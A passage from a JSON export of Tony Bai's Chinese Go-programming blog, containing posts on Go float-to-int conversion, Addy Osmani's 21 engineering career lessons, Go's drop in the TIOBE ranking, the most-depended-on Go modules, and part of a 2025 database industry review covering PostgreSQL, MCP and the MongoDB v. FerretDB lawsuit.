href=\"https://tonybai.com/2026/01/11/proposal-float-to-int-conversions-should-saturate-on-overflow\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/11/proposal-float-to-int-conversions-should-saturate-on-overflow\"\u003ehttps://tonybai.com/2026/01/11/proposal-float-to-int-conversions-should-saturate-on-overflow\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e你是否知道，同一行简单的代码 int64(myFloat)，在 Intel (amd64) 机器上可能返回一个巨大的负数，而在 ARM64 机器上却可能返回最大正整数？\u003c/p\u003e","title":"Go 的“浮点数陷阱”将被填平：浮点转整数即将在所有平台上行为一致"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/11/21-lessons-from-google-engineer\n大家好，我是Tony Bai。\n“当我 14 年前加入 Google 时，我以为这份工作就是写出优秀的代码……我只说对了一部分。我待得越久，就越意识到，那些真正茁壮成长的工程师，不一定是最好的程序员——他们是那些懂得如何驾驭代码周围一切的人：人、政治、协同和模糊性。”\n这段话，出自 Google 资深工程师 Addy Osmani 的一篇深刻反思——《在 Google 14 年的 21 条经验》。这篇文章，如同淬炼了 14 年的智慧结晶，几乎没有谈论任何具体的技术栈，却精准地描绘出了一位卓越工程师的成长画像。\n这 21 条“法则”，并非关于某种转瞬即逝的技术，而是关于那些在项目、团队、公司之间反复出现的永恒模式。它们不是一场与外部世界的战争，而是一场关于自我提升的漫长“修炼”。这是一份珍贵的“心法”，能帮助我们在这场修炼之路上，走得更远、更稳。本文将为你逐一解读。\n1. 最好的工程师痴迷于解决“用户问题”，而非“技术问题” 这是工程师“修炼”之路的第一心法：放下执念。\n放下对特定技术的迷恋，将自我从“工具的使用者”升华为“问题的解决者”。\n“用户痴迷”意味着走出 IDE，去阅读支持工单，去和真实用户交谈，去观察他们如何在你的产品中挣扎。\n当你真正理解了用户的“痛”，你往往会发现，那个最优雅的解决方案，远比你最初设想的任何复杂技术都要简单。\n2. 做到正确很廉价，而“一起”做到正确才是真正的修行 你可以在每一次技术辩论中都“赢”，但最终输掉整个项目。\n真正的“修为”，不在于证明自己正确，而在于创造一个安全的空间，让团队能够共同对问题达成一致，并对自己的确定性保持怀疑。\n记住：“观点强硬，但立场松动 (Strong opinions, weakly held)。”\n3. 偏爱行动。交付。你可以修改一个糟糕的页面，但无法修改一个空白的页面 对完美的追求是麻痹剂，是“心魔”。\n完美的架构不会在纯粹的冥想中诞生，它诞生于与现实的接触。\n先做出来，再做对，再做得更好。\n交付那个让你感到“有点尴尬”的 MVP。\n一个粗糙的原型所能带来的真实反馈，远超一个月闭门造车的理论辩论。\n4. 清晰即资深，聪明是开销 编写“聪明”的代码，是工程师证明能力的本能。\n但真正的软件工程，是在时间和团队协作的维度上展开的。\n清晰性不是一种风格偏好，而是一种运营风险的降低。\n你的代码，是一份写给未来某个凌晨三点需要维护它的陌生人的“战略备忘录”。\n资深的工程师，早已学会在他们的“修炼”中，用清晰性去交换那份无关紧要的“聪明”。\n5. 新奇是一笔贷款，你将在故障、招聘和认知开销中偿还 像一个预算有限的组织一样，谨慎地对待你的“创新代币”。\n只在你拥有独特优势的地方进行创新，其他所有事情，都应该默认选择“无聊”的技术，因为“无聊”意味着失败模式是已知的。\n记住，“最好的工具”，常常是那个“在最多场景下最不坏的工具”。\n6. 你的代码不会为你代言，人会 以为“好的工作会自己说话”，是工程师“修炼”生涯早期最大的错觉。\n代码静静地躺在仓库里，它不会在晋升会议上为你辩护。\n你需要将你的工作和价值，以一种可被他人理解和传播的方式呈现出来：写清晰的文档、做有影响力的分享、主动沟通你的成果。\n7. 最好的代码，是那些你从未写下的代码 工程文化崇尚创造，但删除代码往往比增加代码更能改善一个系统。\n你没有写下的每一行代码，都是你永远不必去调试、维护或解释的一行代码。\n在动手构建之前，请先用“无为”的智慧拷问自己：“如果我们就是……不这么做，会发生什么？”\n8. 在规模化面前，即使你的 Bug 也有用户 当用户足够多时，你的系统的每一个可观测行为，无论你是否承诺过，都会成为一种事实上的依赖。\n有人正在爬取你的 API，有人正在自动化你的“怪癖”，有人正在缓存你的 Bug。\n这意味着，兼容性本身就是一种产品。你不能再将修复 Bug 视为“维护”，将开发新功能视为“真正的工作”。\n9. 大多数“慢”团队，其实是“失调”的团队 当项目拖延时，我们的本能是归咎于执行力：人手不够、技术不行、工作不努力。\n但真正的瓶颈，往往在于协同失败 (Alignment Failure)——团队在做错误的事情，或者以不兼容的方式在做正确的事情。\n资深工程师会花费更多时间去澄清方向、接口和优先级，而不是单纯地“更快地写代码”。\n10. 关注你能控制的，忽略你不能的 在大型组织中，组织架构调整、管理层决策、市场变化……无数变量都在你的控制范围之外。\n为这些事情焦虑，是在浪费你宝贵的精力。\n卓越的工程师，会战略性地专注于他们的“影响圈”：你能控制你代码的质量，你能控制你如何响应变化，你能控制你学到了什么。\n这是一种专注的“禅定”。\n11. 抽象并未消除复杂性，只是将其转移到了你 on-call 的那一天 每一个抽象，都是一次“我未来不需要理解其底层”的赌博。\n有时你会赌赢，但抽象总会泄露。\n资深工程师之所以坚持学习底层知识，并非出于怀旧，而是出于对“凌晨三点，当你独自面对一个失效的抽象时”的敬畏。\n12. 写作倒逼清晰。想学得更快，就去教别人 当你试图向他人解释一个概念时——无论是在文档中、演讲中，还是 Code Review 的评论里——你会立刻发现自己理解上的盲点。\n把一个东西教给别人，本质上是在调试你自己的心智模型。\n这是最高效的“利己”的学习法门。\n13. 那些让其他工作成为可能的工作，无价且无形 “胶水工作”——文档、新人引导、跨团队协调、流程改进——至关重要。\n但如果你无意识地、仅仅出于“乐于助人”去做这些事，它们会吞噬你的时间，让你偏离技术主航道。\n诀窍在于，有意识地去做，为它设定时间盒，将它转化为文档、模板、自动化等可见的成果，让它成为你明确的影响力，而非模糊的“性格特质”。\n14. 如果你赢得了每一次辩论，你可能正在积累无声的抵制 当你“赢”得太轻松时，通常意味着事情不对劲了。\n人们不再与你争论，不是因为你彻底说服了他们，而是因为他们已经放弃了尝试。\n而这份未解的分歧，将会在未来的执行层面，以“神秘的阻力”的形式爆发出来。\n真正的协同，需要你真正去理解他人，并有时公开地改变自己的想法。\n15. 当一个指标成为目标时，它便不再是一个好的指标 古德哈特定律的经典再现。\n人类会为了被测量的东西而优化。\n资深的做法是，用一组成对的指标来响应管理需求（例如，速度 vs. 质量），并坚持解读趋势，而非崇拜某个具体的阈值。\n16. 承认“我不知道”，比假装知道能创造更多安全感 当一个领导者或资深工程师坦诚自己的不确定性时，他实际上是在给予整个团队“提问”和“犯错”的许可。\n这会创造一种心理安全的环境，让问题在爆炸前被暴露出来。\n反之，一个“永远正确”的领导者，只会培养出一群沉默的下属和一堆隐藏的地雷。\n17. 你的人脉，比你做过的任何一份工作都更长久 职业生涯早期，我们容易专注于工作本身而忽略人际交往。\n这是一个巨大的错误。\n那些在公司内外投资于人际关系的同事，在数十年后，会收获巨大的回报。\n你的工作不是永恒的，但你建立的信任是。\n18. 大多数性能的胜利，源于“移除工作”，而非“增加聪明” 当系统变慢时，我们的本能是增加缓存、并行处理、或者换用更聪明的算法。\n但更具影响力的胜利，往往来自于问一个更根本的问题：“我们正在计算的这些东西，真的有必要吗？”\n删除不必要的工作，远比把必要的工作做得更快要有效得多。\n最快的代码，是那段从未运行过的代码。\n19. 流程的存在是为了减少不确定性，而不是为了制造文书工作 最好的流程，能让协作更容易，让失败的代价更便宜。\n而最坏的流程，是“官僚主义戏剧”——它的存在不是为了帮助，而是在出问题时用来甩锅。\n如果你无法解释一个流程如何降低风险或增加清晰度，那它很可能就是纯粹的开销。\n20. 最终，时间会比金钱更宝贵。请据此行事 职业生涯早期，你用时间换金钱。\n但在某个临界点之后，这个公式会反转。\n时间是唯一不可再生的资源。\n答案不是“不要努力工作”，而是“清楚你在交易什么，并深思熟虑地做出交易。”\n21. 没有捷径，但有复利 专业知识，来自于经年累月的刻意练习。\n但这里有希望的部分：学习是具有复利效应的。\n你建立的每一个心智模型，你总结的每一条经验教训，都会成为你未来解决更复杂问题的“可复用原语”。\n将你的职业生涯视为复利投资，而非一张张彩票。\n小结：修炼的核心永远是人 Addy Osmani 的 21 条经验，最终可以归结为几个核心思想：保持好奇，保持谦逊，并永远记住，修炼的核心是人——你为之构建的用户，以及与你一同构建的队友。\n对于我们工程师而言，这意味着，职业生涯的成长，是一场双螺旋式的攀升。\n技术能力的“硬实力”是我们的根基，但决定我们最终能达到何种“境界”的，往往是沟通、协作、权衡、同理心这些看似“软”的、关于人的智慧。\n这场“代码之外的修炼”，道阻且长，但行则将至。\n资料链接：https://addyo.substack.com/p/21-lessons-from-14-years-at-google\n你的“第22条”法则\n读完这21条法则，相信你一定心有戚戚焉。在你自己的职业生涯中，是否有哪一条“生存法则”是你用惨痛教训换来的？或者，你觉得还有什么重要的经验是这21条没有覆盖到的？\n欢迎在评论区分享你的独家心法！ 让我们一起汇聚更多智慧。\n如果这篇文章给了你新的启发，别忘了点个【赞】和【在看】，并转发给身边正在迷茫的工程师朋友，也许这就是他破局的关键！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/11/21-lessons-from-google-engineer/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/21-lessons-from-google-engineer-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/11/21-lessons-from-google-engineer\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/11/21-lessons-from-google-engineer\"\u003ehttps://tonybai.com/2026/01/11/21-lessons-from-google-engineer\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“当我 14 年前加入 Google 时，我以为这份工作就是写出优秀的代码……我只说对了一部分。我待得越久，就越意识到，那些真正茁壮成长的工程师，不一定是最好的程序员——他们是那些懂得如何驾驭代码\u003cstrong\u003e周围\u003c/strong\u003e一切的人：人、政治、协同和模糊性。”\u003c/p\u003e","title":"代码之外的修炼：Google 资深工程师的 21 条“生存法则”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/10/go-dropped-from-7th-to-16th-in-one-year\n大家好，我是Tony Bai。\n新年伊始，TIOBE 发布了最新的编程语言排行榜。当我满怀期待地去寻找 Go 的身影时，差点以为自己眼花了：\nGo 居然从去年的第 7 名，断崖式下跌到了第 16 名！ 占比跌幅高达 1.37%，在这个榜单上几乎是“崩盘”级别的表现。\n这是什么概念？这意味着在 TIOBE 的统计里，Go 现在的流行度还不如 Delphi/Object Pascal（第 9 名）和 Visual Basic（第 7 名）。\n这就很离谱了。任何一个在 2025 年还在写代码的人，都不会觉得 Go 的生态已经萎缩到这种地步。\n是 Go真的凉了吗？还是 TIOBE 的算法“疯”了？\n平行宇宙：稳如泰山的 Go 为了验证我的认知是否出现了偏差，我特意查阅了 2025 年其他的权威榜单：\nGitHub Octoverse：Go 依然稳居前 10，云原生领域的统治地位不可撼动。 Stack Overflow 开发者调查：Go 在“最想学习的语言”和“薪资最高语言”中依然名列前茅。 JetBrains 生态报告：Go 开发者的数量在持续稳步增长，并登顶“最受期待”榜首，没有任何衰退迹象。 全世界都觉得 Go 挺好，唯独 TIOBE 觉得 Go 要完。这种巨大的反差，逼得我不得不去扒一扒 TIOBE 的底裤——它的排名算法到底是怎么算的？\n扒皮 TIOBE：一个过时的算法游戏 根据 TIOBE 官方公布的定义文档，它的算法极其简单粗暴，甚至可以说——在 2026 年显得有些可笑。\n它的核心逻辑只有一个公式：\n在 25 个主流搜索引擎中，搜索 +” programming”，统计返回的页面数量。\n就是这么简单。没有什么复杂的加权，没有什么开发者活跃度分析，就是数一数搜索引擎告诉你“有多少个网页提到了这个语言”。\n这种算法在 20 年前或许有效，但在今天，它成为了导致 Go 排名暴跌的元凶。\n元凶一：AI 杀死了“搜索结果页” 2025 年最大的变化是什么？是 AI Search。\n当我们遇到编程问题时，越来越多的人不再去 Google 翻阅那几百万个搜索结果页面，而是直接问 ChatGPT、Claude 或者 DeepSeek。\nTIOBE 明确表示：ChatGPT 等 AI 工具不被纳入统计，因为它们没有“返回结果数量”的计数器。\n这就导致了一个悖论：越是热门、现代的语言（如 Go、Python(得益于AI模型训练与应用开发)），其用户群体越年轻、越拥抱新技术，也就越倾向于用 AI 解决问题。 这直接导致了这些语言在传统搜索引擎中的“查询热度”和“新内容生成量”出现显著下降。\n相比之下，那些老旧的语言（如 VB、Delphi），其用户群体相对固化，且维护遗留系统时更多依赖传统的文档和论坛搜索，因此受到的冲击较小，甚至在对比中显得“逆势上扬”。\n注：Python的占比相对于2025.01也下降了0.68%。\n元凶二：Go 的名字太“吃亏”了 TIOBE 的核心搜索查询是 +” programming”。\n这对于 Python、Java 这种专有名词来说问题不大。但对于 Go 来说，这就是个灾难。\n通用词的悲剧：Go 是一个极其通用的英语单词。为了过滤掉“去（go）”的含义，TIOBE 必须强制加上 “programming” 后缀。 搜索习惯的改变：但在 2025 年，开发者还会搜 “Go programming” 吗？不会了。大家搜的是 “Go generics”、”Golang k8s”、”Goroutine leak”。 不成比例的过滤：随着搜索引擎算法日益智能，它开始更精准地理解用户意图，不再机械地匹配 “Go programming” 这个短语。这导致大量讨论 Go 技术的高质量页面（但没有显式包含该短语）被 TIOBE 的简单算法无情过滤。而像 “Python programming” 这种组合，因为 Python 本身的高辨识度，受到的影响要小得多。 元凶三：搜索引擎的“去水化” Google 等搜索引擎在 2025 年大幅调整了算法，致力于打击 SEO 内容农场和低质量生成的页面。\nGo 作为一个在云原生时代极速窜红的语言，过去几年充斥着大量的入门教程、培训班广告和搬运文章。搜索引擎的这一波“清洗”，可能不成比例地删除了大量包含 “Go programming” 关键词的低质、重复页面。\n虽然页面总量少了，但生态的“干货密度”其实更高了。 然而，在 TIOBE 这种只看“数量”不看“质量”的算法眼里，这就被简单粗暴地解读为“热度暴跌”。而那些生态早已固化、鲜有新内容产生的老语言，反而躲过了这一劫。\n注：以上也是笔者的主观分析，不一定与事实相符！\n小结：看个乐呵就行 把 Go 排在 Visual Basic 后面，这本身就是一个笑话。\nTIOBE 的这次排名暴跌，反映的不是 Go 语言的衰落，而是 TIOBE 这种基于“网页搜索量”的统计方法，在 AI 和现代互联网面前的全面崩塌。\n它就像一个依然在用“收音机收听率”来衡量流行音乐热度的老人，已经无法捕捉流媒体时代的脉搏。\n所以，各位 Gopher，该写代码写代码，该摸鱼摸鱼。Go 好着呢，别被这个离谱的排名吓到了。\n你的“体感”排名\nTIOBE 的数据确实让人啼笑皆非。在你心目中，Go 语言现在的真实热度应该排第几？你觉得还有哪个榜单能更客观地反映编程语言的现状？\n欢迎在评论区晒出你的“心选榜单”，或者尽情吐槽这个离谱的排名！\n如果这篇文章解开了你心中的疑惑，别忘了点个【赞】和【在看】，并转发给那些正在唱衰 Go 的朋友，打脸要快！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/10/go-dropped-from-7th-to-16th-in-one-year/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-dropped-from-7th-to-16th-in-one-year-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/10/go-dropped-from-7th-to-16th-in-one-year\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/10/go-dropped-from-7th-to-16th-in-one-year\"\u003ehttps://tonybai.com/2026/01/10/go-dropped-from-7th-to-16th-in-one-year\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e新年伊始，TIOBE 发布了最新的编程语言排行榜。当我满怀期待地去寻找 Go 的身影时，差点以为自己眼花了：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eGo 居然从去年的第 7 名，断崖式下跌到了第 16 名！\u003c/strong\u003e 占比跌幅高达 1.37%，在这个榜单上几乎是“崩盘”级别的表现。\u003c/p\u003e","title":"离了大谱！Go 一年之内从第 7 掉到第 16"},{"content":"谁才是 Go 生态的“幕后之王”？—— 深度挖掘 4000 万个节点后的惊人发现 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n谁才是 Go 生态的“幕后之王”？—— 深度挖掘 4000 万个节点后的惊人发现 一月 9, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/01/09/the-most-popular-go-dependency-is\n大家好，我是Tony Bai。\n在 Go 的世界里，我们每天都在引入各种 import。但你是否想过，整个 Go 生态系统中，究竟哪个包是被依赖次数最多的“基石”？\n通常，我们会参考 GitHub Stars 或 Awesome 列表，但这往往带有主观偏差。为了寻找最客观的答案，开发者 Thibaut Rousseau 做了一件疯狂的事：他下载了 Go Proxy 自 2019 年以来的所有模块元数据，构建了一个包含 4000 万个节点、4 亿条关系的巨大图谱。\n结果令人大开眼界。\n从“愚公移山”到“巧用代理” Thibaut 最初的想法很直接：从一个种子项目列表开始，递归地克隆仓库、解析 go.mod。但他很快发现这条路行不通——克隆速度太慢，且严重依赖 GitHub。\n于是，他将目光转向了 Go Modules 生态系统的核心枢纽 —— Go Proxy。\nindex.golang.org：提供了自 2019 年以来所有发布模块的时间流。 proxy.golang.org：提供了每个模块版本的 go.mod 文件。 通过这两个公开 API，他成功地将整个 Go 生态的元数据“搬”到了本地，构建了一个全量的、不可变的本地缓存。\nNeo4j：点亮数据之网 面对海量的依赖关系，传统的关系型数据库显得力不从心。Thibaut 选择了图数据库 Neo4j。\n节点 (Node)：代表一个具体的 Go 模块版本（例如 github.com/gin-gonic/gin@v1.9.0）。 关系 (Relationship)：代表 DEPENDS_ON（依赖于）。 通过简单的 Cypher 查询语句，复杂的依赖链变得清晰可见。例如，查询一个模块的所有传递性依赖（Transitive Dependencies），在 SQL 中可能需要复杂的递归 CTE，而在 Neo4j 中只需一个简单的 *1.. 语法即可搞定。\n数据揭秘：Go 生态的真实面貌 经过数天的处理和导入，这个庞大的图谱终于呈现在眼前。让我们看看数据告诉了我们什么：\n1. 绝对的王者：testify 在“被直接依赖次数”的榜单上，github.com/stretchr/testify 以 259,237 次的惊人数量遥遥领先，是第二名的两倍还多。这再次印证了测试在 Go 社区中的核心地位。\n紧随其后的是：\ngithub.com/google/uuid (10w+) golang.org/x/crypto (10w+) google.golang.org/grpc (9.7w+) github.com/spf13/cobra (9.3w+) … … 2. “已归档”库的生命力：pkg/errors 最令人玩味的数据来自 github.com/pkg/errors。尽管这个库多年前就已宣布“归档”（Archived）并停止维护，且 Go 1.13 已内置了类似的错误包装功能，但数据却显示了截然相反的趋势：\n它的使用量不降反升！ 2019 年仅有 3 个依赖它的模块，而到了 2025 年，这个数字飙升到了 16,001。 这揭示了软件生态中一个残酷的现实：旧习惯难改，且“足够好”的库拥有极其顽强的生命力。 哪怕官方已经提供了替代方案，开发者们依然倾向于使用他们熟悉的工具。\n小结 Thibaut 的这个项目不仅仅是一次有趣的数据分析，它为我们观察 Go 生态提供了一个全新的上帝视角。\n平均依赖数：Go 模块平均拥有 10 个直接依赖。 数据开源：作者不仅开源了爬虫代码 github.com/Thiht/go-stats，还大方地通过 BitTorrent 分享了 11GB 的 Neo4j 数据库转储文件。 你可以下载这份数据，自己在本地运行 Neo4j，去挖掘更多有趣的洞见。比如，看看你最喜欢的某个小众库，究竟被谁在使用？或者，去探索一下 Go 生态中那些隐秘的“单点故障”？\n在这个由 4000 万个节点构成的宇宙中，还有无数的秘密等待被发现。\n资料链接：https://blog.thibaut-rousseau.com/blog/the-most-popular-go-dependency-is/\n你的依赖清单\ntestify 的霸榜并不意外，但 pkg/errors 的顽强生命力确实让人深思。在你的 go.mod 中，是否也有那些“虽然已归档，但真的很好用”的库？或者，你有什么私藏的冷门好库推荐？\n欢迎在评论区晒出你的“宝藏依赖”！ 让我们一起发现更多 Go 生态的秘密。\n如果这篇文章让你对 Go 生态有了全新的认识，别忘了点个【赞】和【在看】，并转发给你的 Gopher 朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/09/the-most-popular-go-dependency-is/","summary":"\u003ch1 id=\"谁才是-go-生态的幕后之王-深度挖掘-4000-万个节点后的惊人发现---tony-bai\"\u003e谁才是 Go 生态的“幕后之王”？—— 深度挖掘 4000 万个节点后的惊人发现 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"谁才是 Go 生态的“幕后之王”？—— 深度挖掘 4000 万个节点后的惊人发现"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/08/databases-in-2025-a-year-in-review\n大家好，我是Tony Bai。\n数据库领域的“毒舌”，CMU教授 Andy Pavlo 再次发布了他的年度回顾（虽然这次是站在 2026 年初的回望）。2025 年对于数据基础设施是疯狂的一年：PostgreSQL 继续确立其霸主地位，引发了巨头间的收购狂潮；AI Agent 通过 MCP 协议正式接管数据库交互；而 Go 社区熟知的 FerretDB 则陷入了与 MongoDB 的法律泥潭。本文将为你深度梳理这份报告背后的技术趋势与行业信号。\nPostgreSQL 的统治：云巨头的“军备竞赛” 如果说 2021 年 Andy Pavlo 首次提出“PostgreSQL 正在吞噬数据库世界”，那么 2025 年则是这一预言的终极验证。PostgreSQL 不再仅仅是一个选项，它已经成为了行业标准，引发了云巨头之间近乎疯狂的并购与研发竞赛。\n核心事件与技术演进 PostgreSQL v18 发布：终于引入了异步 I/O (Asynchronous I/O) 存储子系统，这意味着 Postgres 终于开始摆脱对操作系统页缓存（OS Page Cache）的依赖，向现代化 DBMS 架构迈出了关键一步。此外还增加了对 Skip Scans 的支持。 天价收购案： Databricks 以 10 亿美元收购 Neon：Neon 是著名的“Serverless Postgres”开创者，其存算分离架构是现代云数据库的标杆。 Snowflake 以 2.5 亿美元收购 CrunchyData：为了不甘人后，Snowflake 也迅速补齐了其 Postgres 拼图。 Microsoft 发布 HorizonDB：作为回应，微软推出了自己的下一代 Postgres DBaaS。 对于后端和 Go 开发者而言，这意味着 PostgreSQL 协议已成为事实上的“通用语”。无论底层是 Aurora、AlloyDB 还是 Neon，应用层都只需通过标准的 pgx 或 lib/pq 驱动进行连接。掌握 Postgres 的深层特性和优化技巧，将成为未来五年内最具价值的技能之一。\nMCP：AI Agent 时代的“中间件革命” 2025 年被定义为所有 DBMS 都支持 MCP (Model Context Protocol) 的一年。\n什么是 MCP？ MCP 是由 Anthropic 提出，并随后被 OpenAI 采纳的一种标准化客户端-服务器 JSON-RPC 接口。它允许大语言模型（LLM）与外部工具和数据源进行交互，而无需编写定制的胶水代码。\n角色定位：MCP 服务器充当了数据库前的中间件。它向 LLM 暴露工具、数据和动作列表。 工作流：LLM (MCP Client) -\u0026gt; MCP Server -\u0026gt; Database Query (SQL)。 Andy Pavlo 指出，除了官方实现外，还有数百个第三方的 MCP Server 实现。这对于 Go 开发者是一个巨大的机会：编写高性能、并发安全的 MCP 中间件是 Go 的拿手好戏。\n然而，这也带来了安全隐患。Pavlo 警告说，简单的代理只是将 MCP 请求翻译成 SQL，如果没有深度的内省和防护机制，AI Agent 可能会像“在应用里点了 18,000 杯水”一样，意外地摧毁数据库（比如 DROP DATABASE）。企业级 DBMS 开始内置 AI 防火墙，而开源生态则需要更多像 DBHub 这样提供查询限制和超时保护的中间件。\n开源与法律：MongoDB v. FerretDB 这是 Go 社区最需要关注的法律纠纷。FerretDB 是一个用 Go 编写的开源项目，它提供了一个 MongoDB 兼容的代理层，后端使用 PostgreSQL 存储数据。这让用户可以用 Mongo 的驱动操作 Postgres。\n诉讼焦点 起因：MongoDB Inc. 向 FerretDB 发出停止侵权函，并在 2025 年 5 月正式提起联邦诉讼。 指控：侵犯专利、版权、商标，以及违反 MongoDB 的文档和线协议规范的许可。MongoDB 特别针对 FerretDB 声称自己是“Drop-in replacement”（直接替换）这一点，认为其不仅误导开发者，还损害了 MongoDB 的声誉。 背景：微软也将其 MongoDB 兼容的 DocumentDB 捐赠给了 Linux 基金会，但这似乎没有引发同样的法律反击，可能是因为巨头间的相互制衡。 警示 这一案件可能会成为 API 兼容性实现的法律判例。对于那些致力于编写“兼容层”或“协议转换器”的 Go 开发者来说，这是一个危险的信号：模仿专有软件的 API 和线协议，可能会面临越来越大的法律风险。\n文件格式战争：Parquet 的挑战者们 在数据工程领域，Parquet 格式已经统治了近 15 年。但在 2025 年，为了适应现代硬件（NVMe SSD, GPU）和 AI 负载，新的挑战者涌现。\n挑战者联盟：SpiralDB 的 Vortex（已捐赠给 Linux 基金会）、CWI 的 FastLanes、以及学术界的 F3 和 AnyBlox。 核心痛点：现有的 Parquet 生态过于碎片化。Pavlo 的团队分析发现，94% 的 Parquet 文件仍在使用 2013 年的 v1 特性。 未来趋势：F3 格式（由 CMU, 清华大学等合作）提出了一种有趣的思路——在文件中嵌入 WASM (WebAssembly) 解码器。这意味着只要读取端支持 WASM，就可以解析任何自定义编码的数据，无需升级读取器本身。 行业大洗牌：并购与消亡 IBM 的野心：收购了 DataStax ($3B) 和 Confluent (Kafka 商业化公司)，试图在数据流和 NoSQL 领域占据高地。 向量数据库的退潮：随着所有主流 DBMS（Postgres, Oracle, Mongo）都内置了向量索引，单纯的“向量数据库”公司生存空间被挤压。Pinecone 正在寻求被收购，而 MyScaleDB 已经关闭。 GPU 数据库的黄昏：Voltron Data 的倒闭和 HeavyDB 被 Nvidia 收购，似乎宣告了通用 GPU 数据库作为独立商业模式的终结。 总结与展望 Andy Pavlo 的这篇回顾虽然笔调幽默甚至带有讽刺，但其揭示的技术趋势却是严肃的：\n架构趋同：存算分离、基于日志的架构（Log-based architecture）已成为云数据库的标配。 AI 融合：数据库不再只是被动存储，而是通过 MCP 和内置向量能力，主动融入 AI Agent 的工作流。 Go 的角色：在基础设施层（Docker/K8s 之后），Go 正在成为连接 AI 与数据的关键胶水语言（MCP Server, Proxy, 协议转换器）。 对于 Gopher 来说，关注 PostgreSQL 的协议生态、学习构建安全的 MCP 服务、并警惕开源协议的法律边界，将是 2025 年（及以后）的重要课题。\n资料链接 – Databases in 2025: A Year in Review by Andy Pavlo\n你的数据库“军火库”\n数据库的世界正在发生剧变。在你的项目中，PostgreSQL 